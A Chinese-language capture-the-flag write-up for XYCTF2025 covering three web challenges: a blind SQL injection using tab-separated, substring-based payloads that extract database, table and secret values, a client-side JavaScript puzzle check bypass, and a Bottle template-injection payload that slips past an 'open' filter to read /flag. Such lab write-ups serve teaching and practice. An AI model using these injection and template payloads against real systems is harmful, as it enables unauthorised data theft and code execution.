XYCTF2025

ezsql(手动滑稽):

(真的没有想到是宽字节注入,第一次做,没有做出来,问学长要wp,我还没有复现出来,我是傻逼,现在只能复现了)

首先看见题目是sql注入漏洞,打开是让你登录平台,然后就fuzz测试过滤了空格,转义了’(所以要宽字节注入),关键字到是没有

然后就是使用substring这个函数:

解释:

SUBSTRING(str, pos, len):

  • str:表示要从中提取子字符串的原始字符串。
  • pos:指定子字符串的起始位置。若为正数,则从字符串的开头开始计数;若为负数,则从字符串的末尾开始计数。
  • len:指定要提取的子字符串的长度。
username=1'%09or%09substring(database()%09FROM%092%09FOR%091)='a'%23&password=1(爆库)
username=admin'%09OR%09substring((select%09table_name%09from%09information_schema.tables%09where%09table_schema='testdb'%09limit%091%09offset%090)%09FROM%091%09FOR%091)='a'%23&password=1(爆表)
username=admin'%09OR%09case%09when%09(ascii(substring((select%09column_name%09from%09information_schema.columns%09where%09table_name='double_check'%09limit%091)%09FROM%092%09FOR%091))=116)%09then%091%09else%090%09end=1%23&password=1(爆列)
username=admin'%09OR%09case%09when%09(ascii(substring((select%09secret%09from%09double_check%09limit%091)%09FROM%092%09FOR%091))=116)%09then%091%09else%090%09end=1%23&password=1

然后就像这样一个一个测试,拿到:dtfrtkcc0czkoua9S

同理:这样一个个测出来账号和密码:yudeyoushang/zhonghengyisheng,进去之后直接进行RCE就ok了

ez_puzzle:

这个他要你进行拼图,小游戏先查看js就行,发现不让我看,肯定有好东西,直接ctrl+shift+i查看,知道是小弹窗,js里面搜索alert就行了,发现有判断条件,将小于号改成大于号就行,然后再拼一次就行了。

出题人已疯:

# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)
# 定义/attack路径的路由
@bottle.route('/attack')
def attack():
# 从请求的查询参数中获取payload
payload = bottle.request.query.get('payload')
# 检查payload是否存在,长度是否小于25,并且不包含open和\字符
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
# 使用bottle的模板功能返回包含payload的问候语
return bottle.template('hello '+payload)
else:
# 如果条件不满足,返回400错误
bottle.abort(400, 'Invalid payload')

也就是说

需要尝试构造出小于25,并且不包含open和\字符的有效负载或者找到一种方式绕过小于25的限制(不过他是bottle)

经过测试发现可以使用unicode绕过,

%7b%7b%ba%70%65%6e%28%27%2f%66%6c%61%67%27%29%2e%72%65%61%64%28%29%7d%7d

不过o可以使用%ba进行绕过(用斜体绕过,nb)